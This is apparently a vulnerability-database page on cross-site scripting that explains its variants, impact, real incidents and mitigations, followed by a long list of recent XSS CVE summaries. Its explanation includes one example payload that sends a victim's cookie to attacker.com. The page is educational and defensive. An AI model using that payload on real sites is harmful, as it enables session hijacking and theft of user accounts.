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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (38989)

EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPXPO PostX ultimate-post.1.15. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ogun Labs Lenxel Core for Lenxel(LNX) LMS lenxel-core allows DOM-Based XSS.3.9. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Binh Nguyen LadiApp ladipage allows Stored XSS.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Tomdever wpForo Forum wpforo allows Code Injection.2.5. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Fluent Forms WordPress plugin before 5.2.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Contact Form
NVD WPScan
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in code-projects Admin Dashboard 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Admin Dashboard
NVD VulDB
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in DDNS Record functionality in Synology Router Manager (SRM) before 1.3.1-9346-10 allows remote. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Synology Router Manager
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in WiFi Connect Setting functionality in Synology Router Manager (SRM) before 1.3.1-9346-10 allows. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Synology Router Manager
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in Router Port Forward functionality in Synology Router Manager (SRM) before 1.3.1-9346-10 allows. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Synology Router Manager
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in WiFi Connect MAC Filter functionality in Synology Router Manager (SRM) before 1.3.1-9346-10. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Synology Router Manager
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in Network WOL functionality in Synology Router Manager (SRM) before 1.3.1-9346-10 allows remote. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Synology Router Manager
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in network center policy route functionality in Synology Router Manager (SRM) before 1.3.1-9346-10. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Synology Router Manager
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in file station functionality in Synology Router Manager (SRM) before 1.3.1-9346-10 allows remote. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Synology Router Manager
NVD
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in Guizhou Xiaoma Technology jpress 5.1.2. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jpress
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM This Month

A vulnerability has been found in Talentera up to 20241128 and classified as problematic. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Mozilla
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

IBM QRadar SIEM 7.5 is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

IBM XSS Qradar Security Information And Event Manager
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Easy Code Snippets plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 1.0.2 due to insufficient input sanitization. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Feedpress Generator - External RSS Frontend Customizer plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'tab' parameter in all versions up to, and including, 1.2.1 due. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Mini Program API plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'qvideo' shortcode in all versions up to, and including, 1.4.5 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Simple Ecommerce Shopping Cart Plugin- Sell products through Paypal plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘monthly_sales_current_year’ parameter in all. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The TWChat - Send or receive messages from users plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of remove_query_arg without appropriate escaping on the URL in all. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Smoove connector for Elementor forms plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Simple Side Tab WordPress plugin before 2.2.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Simple Side Tab
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM This Month

The CardGate Payments for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 3.2.1 due to insufficient. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Shortcodes Blocks Creator Ultimate plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the '_wpnonce' parameter in all versions up to, and including, 2.2.0 due to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Shortcodes Blocks Creator Ultimate
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Shortcodes Blocks Creator Ultimate plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 2.2.0 due to insufficient. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Shortcodes Blocks Creator Ultimate
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Mollie for Contact Form 7 plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 5.0.0 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 2% CVSS 6.1
MEDIUM This Month

The 워드프레스 결제 심플페이 - 우커머스 결제 플러그인 plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg() function without appropriate escaping on the URL in all. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The 코드엠샵 소셜톡 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'msntt_add_plus_talk' shortcode in all versions up to, and including, 1.2.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Zooom plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'zooom' shortcode in all versions up to, and including, 1.1.0 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Drag & Drop Builder, Human Face Detector, Pre-built Templates, Spam Protection, User Email Notifications & more!. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Comfino Payment Gateway plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg & remove_query_arg without appropriate escaping on the URL in all. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The افزونه پیامک ووکامرس Persian WooCommerce SMS plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of remove_query_arg without appropriate escaping on the URL in all. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.9
MEDIUM PATCH This Month

NuGet Gallery is a package repository that powers nuget.org. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Nugetgallery
NVD GitHub
EPSS 1% CVSS 5.3
MEDIUM This Month

Tungsten Automation (Kofax) TotalAgility in versions all through 7.9.0.25.0.954 is vulnerable to a Reflected XSS attacks through mfpScreenResolutionWidth parameter manipulation in a form sent to an. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 1% CVSS 5.3
MEDIUM This Month

Tungsten Automation (Kofax) TotalAgility in versions all through 7.9.0.25.0.954 is vulnerable to a Reflected XSS attacks through mfpConnectionId parameter manipulation in a form sent to endpoints. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Jirafeau normally prevents browser preview for SVG files due to the possibility that manipulated SVG files could be exploited for cross site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Jirafeau
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

PhpGurukul Medical Card Generation System v1.0 is vulnerable to Cross Site Scripting (XSS) in /admin/search-medicalcard.php via the searchdata parameter. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Medical Card Generation System
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A Reflected Cross Site Scripting (XSS) vulnerability was found in /covidtms/registered-user-testing.php in PHPGurukul COVID 19 Testing Management System 1.0 which allows remote attackers to execute. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE PHP XSS +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in OroPlatform CMS v5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Search parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Oroplatform
NVD GitHub
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Zionbuilder ZionBuilder zionbuilder allows Stored XSS.6.16. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Noor Alam Magical Addons For Elementor magical-addons-for-elementor allows Stored XSS.3.6. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Elementor
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Visualmodo Borderless borderless allows Cross-Site Scripting (XSS).5.8. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in codexshaper Advanced Element Bucket Addons for Elementor cs-element-bucket allows Stored XSS.0.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPFactory Awesome Shortcodes awesome-shortcodes allows Reflected XSS.7.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Joni Halabi Block Controller block-controller allows Reflected XSS.4.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Marka WordPress Auction Plugin wp-auctions allows Stored XSS.7. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in URBAN BASE Z-Downloads z-downloads allows Stored XSS.11.7. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in POSIMYTH The Plus Addons for Elementor Page Builder Lite. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Elementor
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Genetech Pie Register Premium pie-register-premium allows Reflected XSS.8.3.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in captivateaudio Captivate Sync captivatesync-trade allows Stored XSS.0.22. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jacques Malgrange WP GeoNames wp-geonames allows Reflected XSS.8. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in FuturioWP Futurio Extra futurio-extra allows Stored XSS.0.14. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in boldthemes Bold Page Builder bold-page-builder allows Stored XSS.2.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Beaver Builder Beaver Builder beaver-builder-lite-version allows Stored XSS.8.4.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themesflat themesflat-addons-for-elementor themesflat-addons-for-elementor allows DOM-Based. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Elementor
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ryo Arkhe Blocks arkhe-blocks allows Stored XSS.27.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Slider and Carousel slider by Depicter plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘addExtraMimeType’ function in versions up to, and including, 3.2.1 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Hi e-learning Learning Management System (LMS) allows Reflected XSS.12.2024. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Online Booking & Scheduling Calendar for WordPress by vcita plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Online Booking Scheduling Calendar
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Event Tickets with Ticket Scanner plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'data' parameters in all versions up to, and including, 2.4.4 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The WP Media Optimizer (.webp) plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘wpmowebp-css-resources’ and 'wpmowebp-js-resources' parameters in all versions up to, and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Folder Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'foldergallery' shortcode in all versions up to, and including, 1.7.4 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Next-Cart Store to WooCommerce Migration plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 3.9.2 due to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The ONLYOFFICE Docs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'onlyoffice' shortcode in all versions up to, and including, 2.0.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Splash Sync plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The TwentyTwenty plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'twentytwenty' shortcode in all versions up to, and including, 1.0.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Smart PopUp Blaster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'spb-button' shortcode in all versions up to, and including, 1.4.3 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The PDF Builder for WooCommerce. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The ForumWP - Forum & Discussion Board plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘url’ parameter in all versions up to, and including, 2.1.2 due to insufficient. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Forumwp
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The ForumWP - Forum & Discussion Board plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg & remove_query_arg without appropriate escaping on the URL. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Forumwp
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The NewsMash theme for WordPress is vulnerable to Stored Cross-Site Scripting via a malicious display name in all versions up to, and including, 1.0.71 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Cookielay plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's cookielay shortcode in all versions up to, and including, 1.2.0 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.4
MEDIUM This Month

The myCred - Loyalty Points and Rewards plugin for WordPress and WooCommerce - Give Points, Ranks, Badges, Cashback, WooCommerce rewards, and WooCommerce credits for Gamification plugin for WordPress. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Sticky Social Icons WordPress plugin through 1.2.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Sticky Social Icons
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM This Month

The Broadcast plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'do_check' parameter in all versions up to, and including, 51.01 due to insufficient input sanitization and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Video Gallery - Best WordPress YouTube Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.4.1 due to insufficient. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Video Gallery
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Flixita theme for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘id’ parameter in all versions up to, and including, 1.0.82 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 42% CVSS 5.4
MEDIUM POC PATCH THREAT This Month

A stored cross-site scripting (XSS) vulnerability in the Device Settings section of LibreNMS v24.9.0 to v24.10.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Librenms
NVD GitHub
EPSS 1% CVSS 9.8
CRITICAL Act Now

whapa v1.59 is vulnerable to Command Injection via a crafted filename to the HTML reports component. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Command Injection
NVD GitHub
EPSS 0% CVSS 4.6
MEDIUM POC PATCH This Month

Directus is a real-time API and App dashboard for managing SQL database content. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Directus
NVD GitHub
EPSS 0% CVSS 5.5
MEDIUM POC This Month

Kanboard is project management software that focuses on the Kanban methodology. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Kanboard
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Multiple stored cross-site scripting (XSS) vulnerabilities in the component /configuracao/meio_pagamento.php of WeGIA v3.2.0 allows attackers to execute arbitrary web scripts or HTML via a crafted. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Wegia
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Multiple stored cross-site scripting (XSS) vulnerabilities in the component /configuracao/gateway_pagamento.php of WeGIA v3.2.0 allows attackers to execute arbitrary web scripts or HTML via a crafted. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Wegia
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM POC This Month

